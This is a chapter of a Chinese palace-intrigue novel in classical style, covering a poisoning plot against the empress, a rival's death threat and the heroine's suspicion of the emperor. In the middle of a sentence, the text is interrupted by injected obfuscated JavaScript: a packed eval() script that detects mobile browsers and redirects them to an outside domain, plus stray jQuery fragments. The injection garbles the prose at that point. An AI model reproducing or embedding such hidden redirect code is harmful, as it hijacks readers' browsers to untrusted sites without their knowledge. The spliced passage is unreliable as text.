众人候于殿外,春阳如昨日,碧树鸣黄鹂。
三皇子久默无言,直至圣谕降临,将所众伴读遣回府中,甚至连皇子亦不例外。
由内侍引路,谢明绪欲送程徽音出宫,行至甬道,周围人影渐疏,三皇子方才缓缓开口,其声沉若寒潭,“母后早知有人欲下毒加害于她。”
闻之,她心神俱震,仍旧未说出适才所思之名字,只是转而问道:“然则何人?”
三皇子长叹一声,“母后虽有所料,然却未曾与我明说。可如今看来,似乎并非皇贵妃所谋。前朝宣王刚刚失利,皇贵妃正倚望静宁公主来稳固圣眷,又怎么会在今日拜师大典如此关键之际,令公主于众目睽睽之下,毒害中宫?”
“这分明是损人利己之举,纵使皇贵妃再愚蠢,也万不会做出如此之事。”
程徽音听着三皇子剖析,掌心掐出月牙白痕,唇齿紧阖,不敢妄应一词,生怕只言片语中漏出一点心思,会再度掀滔天之澜。
“三小姐似乎仍未回答我所问。”三皇子忽侧目而视,声声温润,复而诘问于她。
恰路过宫墙斑驳处一株忍冬藤,在角落蜿蜒攀附。
程徽音亦侧目,四目相对,她难辨其意,更猜不透中宫此举何由。惟觉思绪纷杂,她默默将自己已经划破的袖子展开,一道狰狞血痕顿然显现,如赤蛇盘腕,触目惊心。
“何人所为?”三皇子见之愕然,惶遽而问。
“今晨负责引臣女之内侍,将臣女引于暗巷之中,欲行刺。不知是巧合抑或是计中计,他逃脱后,臣女恰闻一栋破殿之中,两人密谋,欲于公主所敬之茶中下毒,鸩杀中宫。”
话落,程徽音方欲将袖子掩盖伤口,却不想被三皇子探手执起皓腕。
“先处理伤口要紧,三小姐得罪了。”他垂首检查伤口,伤口确未染毒之兆,遂取自己的手帕轻轻裹住伤口。
恰有东风拂面至,千里莺啼绕芳丛。三皇子俯身治伤,落英纷披其肩,竟惹得程徽音双颊生霞。
谢明绪未曾注意到她须瞬之间的慌乱,悉心将伤口包扎好后,退回礼距,行礼道歉,“适才情急失仪,唐突三小姐,望海涵。”
程徽音点了点头,默然未语。程徽音垂首低眉,见腕上的手帕,帕角绣着一节竹子,凛凛冰霜节,修修玉雪身。忽忆甘州初见,他于杏花疏影中青衫而立,而今...
“你可是已经知道是谁欲加害于你?”三皇子忽而开口询问,打断了她的思绪。
程徽音轻轻松开了帕角,缓言,“程家初入京中,圣眷方隆。有过节者,思来想去也只有傅家罢了。”
先有傅岩松因教养不力,遭敕令闭门休养。若非公主求情,恐傅溶月再难踏入宫中。这一跟头栽下去,两家已结怨怼。
“然细思之,毒害皇后娘娘一事,又恐非傅家手笔。”程徽音深思半刻,再次开口。
三皇子闻之长叹一声,他看着她眉头紧锁深思重重。忆及甘州卫之初见至今,不过月余,然她笑靥却是许久未见。
正深思恍然间,忽觉何物轻拂面,回神方见,原是春风携落杏,悄驻他肩。
“三小姐,可需我于父皇面前为你剖白?”言罢自哂,他自知她避他如蜂虿,安肯受此之情?
下一刻,果闻婉拒,“三皇子言重了,无实证而妄言,仅凭猜测则欲定人之罪……恐徒增波澜,届时不过复酿血雨腥风罢了。”
明明早料其辞,闻之,他心中仍添郁色。他默然颔首,未发一语。
“三殿下!”身后忽然响起一声,继而玉佩清越,环佩叮当。
待程徽音再抬头,傅溶月已然挽住了自己的胳膊,珠围翠绕,骤隔二人。
“三殿下,今日之事实在吓人,公主岂会下毒毒害皇后娘娘,定有奸人构陷!”傅溶月蹙眉,一脸忧愁。
谢明绪见眼前来人,深吸了一口气,缄默未语,目光微微一瞥,但见傅溶月的手指正抚在程徽音的手臂伤口处。他方欲开口,却不想,程徽音先他一步。
“想来傅小姐与三殿下尚有要相商,臣女不便叨扰,先行告退。”程徽音微微行礼,而后翩然而去。
傅溶月睨了一眼程徽音的背影,不禁轻嗤,“三殿下,今日尚在公主生辰,思及鹤鸣楼点心久矣……”
见程徽音已去,谢明绪自是意兴阑珊不愿再说话,况母后一事颇为烦恼,径直接打断了她的话,“那本皇子便祝傅小姐尽兴,母后病恙不明,本恕不奉陪。”
说罢,未俟其答,振袖而去,蟒袍金纹划破春晖,如利刃断帛便转身离开。
这番话着实伤了傅溶月之心,如同利刃直剖心肺。她看着三皇子的身影,恨极顿足。她贵为阁老之女,莫说王公贵族,纵宣王亦要敬她几分。
偏生谢明绪冷若冰霜油盐不进,纵百般殷勤,终是极尽生疏。
反倒衬得她,抛媚眼给瞎子看。思及至此,脚步欲急,踏碎一地残英。
程徽音尚在为躲开两尊大佛之事而庆幸,正思忖回家后与父母兄长共议今日之事。忽闻步履匆匆,待她微微侧身回头,正见傅溶月目光狠毒。
“程徽音!你到底算什么东西,何以你一来,尽夺我之所爱?”傅溶月腕间那对翡翠玉镯因激动相击,碎瓷般的锐响,裹着她尖细的声音仿佛要捅破天。
此言实乃无稽之谈,程徽音敛衽行礼,声音平平,“傅小姐此言,徽音不解,徽音何曾夺过傅小姐所爱?”
若是程徽音面上有一丝一毫之波澜,傅溶月或可稍解愤懑,然她始终神色澹然,反倒是让人更加窝火。
此时傅溶月恨不得上前撕了她这副处事不惊平淡如水的脸面,想让三皇子看看,私下她欲擒故纵之心是何等恶心,“我自小便入宫识得公主与三殿下,凭何你一来便得三殿下青眼频频!”
程徽音淡然一笑,“那傅小姐应当去问三殿下,何来问我?我不是三殿下心里蛔虫。”
傅溶月望着程徽音腕上的帕巾,切齿痛恨,分明就是她狐媚妄惑三殿下,现在又一副假清高佯装无辜,“你以为凭你几分姿色,几招狐媚子妖术,便可惑得三皇子之心?休作痴人说梦!”
“三皇子正妃,惟我可当。”傅溶月昂首,像是耀武扬威,又像是自勉自励。
程徽音闻之颔首,“诚如傅小姐所言,若是傅小姐能嫁给三殿下,实乃佳事。”
她说的分明是肺腑之言,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505319|170455||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
半份虚假都不掺,倘若傅溶月能嫁得三皇子为妃,那么中宫皇后自会舍弃程家,反而落得清净。然此语落于傅溶月耳中,却成了十足十之挑衅。
傅溶月唇角微勾,轻飘飘说了一句,“程徽音,你当记得你今日所言,如若你与我争三殿下。”
“我定会杀你。”
迎面而来的春风忽携带千钧杀气,程徽音伫立原处,只是看着傅溶月。固知此言非虚,然此语于己,不过蚍蜉撼树。
昔日宣王亦曾存此念,然父母之谆谆教诲犹然在耳,既搅入京中浑水,自是抱定一死之念。今日闻之这一“杀”字,心如止水。
“暗箭难防,强如一国之母中宫皇后尚遭毒手。更何况区区一个我?傅小姐,若是您以为除了即可得到三殿下之心,那不妨一试,愿天遂你所愿。”
“今日之辱,徽音不会忘记,自当奉还。待他日我亲向傅小姐讨要歉礼之时,还望傅小姐莫效乞怜之态。”程徽音展露了一下自己裂开的袖口,双目轻扫。
不等她再回话,程徽音转身离开,甫过甬道折处,已见父母候于车架之旁。
想来宫中之事泰半已传得沸沸扬扬,况既遣了所有伴读回家,自是派人去各府通传。陆氏见到程徽音那一眼,颇为失态上前握住了她的手。
目光所及,她手臂所缠白绢赫然入目,血色隐隐。
“母亲,此处不是说话的地方,容女儿回家细禀。”陆氏闻言颤着手,点了点头。
程徽音方才轻飘飘的几句话,实教傅溶月寒意难消。她尚有话未言,待追上来,正见被父母拥簇而登车的程徽音,再望了望一旁自己的车架,空无一人。她卷了卷袖口,鞭痕立现。
此乃前日回家后,受家法之伤。父亲辄笞至遍体鳞伤,自小如此,严父厉母,教她笼络三皇子,教她勤奋学习,规训礼仪。若有半分不愿,便是藤条加身。
她背上旧疤痕纵横交错,最新那道还渗着血。或许正因如此,她尤恨程徽音。她努力多年,都未曾得到三皇子青睐,偏她一出现,即蒙殊眷。
更可恨者,她的父母兄长却是对她疼惜备至,她非帝女更非宗室,凭何集万千宠爱于一身?
已然走上回家之路的程徽音,未睹巷隅那双阴森可怖的眼睛。
陆氏追问再三,程徽音遂将今日之事原原本本道了出来,母亲听闻后,握着她的手直颤抖。
而后一声长长叹息落地,程徽音望向母亲,“既然要程家立于京中不败,欲将青史留名,不负家国。这便是要所承受之重,母亲毋需为女儿担忧。”
话虽如此,可这是她的女儿,又怎能保持非人之心?
“母亲,若参酌今日中宫鸩毒一事,并于前日皇后所言,恐今日这毒是……”未竟之言令人浮想联绵,程徽音犹豫了良久,还是吐露出那两个字,“皇上。”
檐角铜铃忽而被狂风倒卷向上,叮当之响尽数吞没于风呼之中。
陆氏双目震震,“昔年诛太后外戚,皇上未曾留情。今逢与中宫离心,恐你所料非虚。此局方启,来日当更为凶险。”
语犹未落,车驾方入府门,忽见侍者急趋而报:
“贵人已久候多时。”